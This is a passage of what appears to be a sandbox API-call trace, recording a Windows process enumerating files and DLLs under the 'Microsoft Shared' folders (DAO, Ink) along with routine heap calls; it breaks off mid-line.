(lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VC" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vc")) returned 0x30 [0198.900] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7a8 | out: hHeap=0x2ad0000) returned 1 [0198.901] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VGX" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vgx")) returned 0x10 [0198.901] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887920 | out: hHeap=0x2ad0000) returned 1 [0198.901] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33eae68, Size=0x40) returned 0x3887458 [0198.901] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsta")) returned 0x10 [0198.908] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887338 | out: hHeap=0x2ad0000) returned 1 [0198.908] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vsto")) returned 0x10 [0198.909] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887650 | out: hHeap=0x2ad0000) returned 1 [0198.909] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0198.909] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\DAO\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb68755a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a6754cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7a50 [0198.909] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb68755a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a6754cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0198.909] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d0ae615, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d0ae615, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d0ae615, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x95000, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="dao360.dll", cAlternateFileName="")) returned 1 [0198.909] FindNextFileA (in: hFindFile=0x10f7a50, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d0ae615, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d0ae615, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d0ae615, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x95000, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="dao360.dll", cAlternateFileName="")) returned 0 [0198.910] FindClose (in: hFindFile=0x10f7a50 | out: hFindFile=0x10f7a50) returned 1 [0198.910] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\DAO\\dao360.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\dao\\dao360.dll")) returned 0x20 [0198.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbad0 | out: hHeap=0x2ad0000) returned 1 [0198.911] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0198.911] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\DAO\\dao360.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\DAO\\dao360.dll", lpFilePart=0x9bada4*="dao360.dll") returned 0x43 [0198.911] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0198.911] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9bdfed90, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x9bdfed90, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7990 [0198.913] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9bdfed90, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x9bdfed90, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0198.913] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb6f7e1f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="en-US", cAlternateFileName="")) returned 1 [0198.913] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb6f87c2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="HWRCustomization", cAlternateFileName="HWRCUS~1")) returned 1 [0198.913] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c391299, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c391299, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c391299, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4b200, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0198.913] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c391299, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c391299, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c391299, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16f200, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="InkObj.dll", cAlternateFileName="")) returned 1 [0198.913] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ff8b9e4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdd7871bf, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdd7871bf, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x169c00, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0198.914] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41982330, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x2a329cb7, ftLastAccessTime.dwHighDateTime=0x1d2fa0d, ftLastWriteTime.dwLowDateTime=0x41982330, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x7b000, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0198.914] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ff8b9e4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd266c889, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd266c889, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x608600, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="mraut.dll", cAlternateFileName="")) returned 1 [0198.914] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c344dca, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c344dca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c344dca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1 [0198.914] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe06a81ac, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe06a81ac, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xcf800, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1 [0198.914] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c31eb63, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c31eb63, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c31eb63, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="penchs.dll", cAlternateFileName="")) returned 1 [0198.914] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c31eb63, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c31eb63, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c31eb63, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="pencht.dll", cAlternateFileName="")) returned 1 [0198.914] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c31eb63, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c31eb63, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c31eb63, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="penjpn.dll", cAlternateFileName="")) returned 1 [0198.914] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c31eb63, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c31eb63, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c31eb63, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="penkor.dll", cAlternateFileName="")) returned 1 [0198.915] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2f8900, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c2f8900, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c2f8900, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="penusa.dll", cAlternateFileName="")) returned 1 [0198.915] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2f8900, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c2f8900, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c2f8900, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x14e00, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="pipanel.dll", cAlternateFileName="")) returned 1 [0198.915] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2f8900, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c2f8900, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c2f8900, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="pipanel.exe", cAlternateFileName="")) returned 1 [0198.915] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2f8900, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c2f8900, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c2f8900, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="pipres.dll", cAlternateFileName="")) returned 1 [0198.915] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c391299, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c391299, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c391299, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x20800, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0198.915] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c31eb63, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c31eb63, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c31eb63, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="skchobj.dll", cAlternateFileName="")) returned 1 [0198.915] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2f8900, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c2f8900, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c2f8900, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="skchui.dll", cAlternateFileName="")) returned 1 [0198.916] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ff8b9e4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe4dac572, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe4dac572, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x5320, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="TabTip32.exe", cAlternateFileName="")) returned 1 [0198.916] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7965a52d, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x7965a52d, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x79680792, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x7dfa0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="tiptsf.dll", cAlternateFileName="")) returned 1 [0198.916] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c36b032, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c36b032, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c36b032, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb800, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="tpcps.dll", cAlternateFileName="")) returned 1 [0198.916] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c36b032, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c36b032, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c36b032, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb800, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="tpcps.dll", cAlternateFileName="")) returned 0 [0198.916] FindClose (in: hFindFile=0x10f7990 | out: hFindFile=0x10f7990) returned 1 [0198.917] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\en-US" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\en-us")) returned 0x10 [0198.919] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887698 | out: hHeap=0x2ad0000) returned 1 [0198.919] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0198.919] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\HWRCustomization" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\hwrcustomization")) returned 0x10 [0198.919] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2408 | out: hHeap=0x2ad0000) returned 1 [0198.919] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\InkDiv.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\inkdiv.dll")) returned 0x20 [0198.922] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db710 | out: hHeap=0x2ad0000) returned 1 [0198.922] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881000 [0198.922] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\InkObj.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\inkobj.dll")) returned 0x20 [0198.923] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbbc0 | out: hHeap=0x2ad0000) returned 1 [0198.923] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\micaut.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\micaut.dll")) returned 0x20 [0198.924] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db800 | out: hHeap=0x2ad0000) returned 1 [0198.924] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\Microsoft.Ink.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\microsoft.ink.dll")) returned 0x20 [0198.924] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2880 | out: hHeap=0x2ad0000) returned 1 [0198.924] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\mraut.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\mraut.dll")) returned 0x20 [0198.925] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db5d0 | out: hHeap=0x2ad0000) returned 1 [0198.925] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881000, Size=0x20) returned 0x33eae68 [0198.925] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\mshwgst.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\mshwgst.dll")) returned 0x20 [0198.925] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db620 | out: hHeap=0x2ad0000) returned 1 [0198.925] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\mshwLatin.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\mshwlatin.dll")) returned 0x20 [0198.926] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbb20 | out: hHeap=0x2ad0000) returned 1 [0198.926] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\penchs.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\penchs.dll")) returned 0x20 [0198.926] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbd50 | out: hHeap=0x2ad0000) returned 1 [0198.927] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\pencht.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\pencht.dll")) returned 0x20 [0198.927] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db800 | out: hHeap=0x2ad0000) returned 1 [0198.927] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33eae68, Size=0x40) returned 0x3887770 [0198.927] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\penjpn.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\penjpn.dll")) returned 0x20 [0198.927] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dba30 | out: hHeap=0x2ad0000) returned 1 [0198.927] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\penkor.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\penkor.dll")) returned 0x20 [0198.943] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db760 | out: hHeap=0x2ad0000) returned 1 [0198.944] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\penusa.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\penusa.dll")) returned 0x20 [0198.944] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db760 | out: hHeap=0x2ad0000) returned 1 [0198.944] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\pipanel.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\pipanel.dll")) returned 0x20 [0198.945] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbc10 | out: hHeap=0x2ad0000) returned 1 [0198.945] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\pipanel.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\pipanel.exe")) returned 0x20 [0198.945] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbbc0 | out: hHeap=0x2ad0000) returned 1 [0198.945] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\pipres.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\pipres.dll")) returned 0x20 [0198.946] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbd00 | out: hHeap=0x2ad0000) returned 1 [0198.946] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\rtscom.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\rtscom.dll")) returned 0x20 [0198.946] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbbc0 | out: hHeap=0x2ad0000) returned 1 [0198.946] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\skchobj.dll" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\ink\\skchobj.dll")) returned 0x20 [0198.946] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db9e0 | out: hHeap=0x2ad0000) returned 1 [0198.947] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3887770, Size=0x64) returned 0x2a19658 [0198.947] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\skchui.dll" (normalized: "c:\\program files (x86)\\common 